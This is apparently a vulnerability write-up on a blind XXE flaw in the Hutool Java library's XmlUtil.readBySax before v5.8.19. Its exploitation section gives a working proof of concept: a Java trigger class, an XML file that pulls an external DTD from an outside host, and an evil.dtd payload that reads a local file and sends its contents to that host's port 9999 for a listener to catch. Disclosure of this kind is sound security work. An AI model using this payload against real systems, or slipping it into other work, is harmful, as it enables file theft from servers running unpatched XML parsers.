Hutool-XXE

Hutool is a small but comprehensive library of Java tools. A blind XXE vulnerability exists in its XML parsing module before v5.8.19, which may lead to arbitrary file reading.

Position

This vulnerability sources from the readBySax function in XmlUtil.java, which uses the SAXParserFactory and is by default susceptible to XXE attacks.

1
2
3
4
5
6
7
8
9
10
11
12
13
public static void readBySax(InputSource source, ContentHandler contentHandler) {
// 1.获取解析工厂
if (null == factory) {
factory = SAXParserFactory.newInstance();
factory.setValidating(false);
factory.setNamespaceAware(namespaceAware);
}
// 2.从解析工厂获取解析器
final SAXParser parse;
XMLReader reader;
try {
parse = factory.newSAXParser();
...

Xxploitation

First you need to parse an XML which lead to a malicious external DTD:

xxeTest.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package cn.hutool.core;

import cn.hutool.core.collection.CollUtil;
import cn.hutool.core.io.resource.ResourceUtil;
import cn.hutool.core.util.XmlUtil;
import org.xml.sax.helpers.DefaultHandler;

import java.util.HashSet;

public class xxeTest {
public static void main(String[] args){
final HashSet<String> eles = CollUtil.newHashSet(
"returnssms", "returnstatus", "message", "remainpoint", "teskID", "successCounts");
XmlUtil.readBySax(ResourceUtil.getStream("C:\\Users\\vanya\\Documents\\GitHub\\hutool\\hutool-core\\src\\main\\java\\cn\\hutool\\core\\test.xml"), new DefaultHandler());
}
}

test.xml:

1
2
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://192.168.3.183/evil.dtd"> %xxe; ]>

The malicious external DTD can be fetched through the HTTP server we deployed on 192.168.3.183:80.

1
python3 -m http.server 80

Since the XmlUtil.java does not echo back to our parsing (which is called Blind XXE), the DTD reads arbitrary file through another HTTP request.

evil.dtd:

1
2
3
4
<!ENTITY % file SYSTEM "file:///g:/test.txt">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://192.168.3.183:9999/?x=%file;'>">
%eval;
%exfil;

Absolutely we need to use netcat for port listening on 9999, we run xxeTest.java and it comes firstly the request for evil.dtd then the request which contains the text we read from G:/test.txt:

pCiteYD.md.png

pCitZFO.md.png

pCitETK.png